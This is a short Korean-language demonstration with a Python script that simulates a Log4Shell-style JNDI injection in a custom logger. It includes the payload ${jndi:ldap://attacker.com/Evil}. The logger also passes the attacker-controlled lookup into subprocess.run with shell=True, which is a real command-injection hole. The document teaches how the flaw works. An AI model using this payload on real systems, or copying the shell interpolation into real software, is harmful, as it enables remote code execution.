
사용자 지정 로거에서 Log4j 스타일의 JNDI 주입인 CVE-2026-21011을 시뮬레이션합니다: ${jndi:...} 패턴을 구문 분석하고 LDAP로 트리거되는 원격 코드 실행을 시연합니다.
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
사용자 정의 로깅 프레임워크는 악명 높은 Log4Shell 취약점과 유사하게 로그 메시지에서 ${jndi:...} 패턴을 평가합니다. 공격자는 JNDI lookup을 주입하여 원격 서버에서 임의의 코드를 로드하고 실행할 수 있습니다.
시뮬레이션 실행:
python log4j_sim.py
이 스크립트는 공격자의 LDAP 서버에서 클래스를 로드한다는 내용을 출력합니다.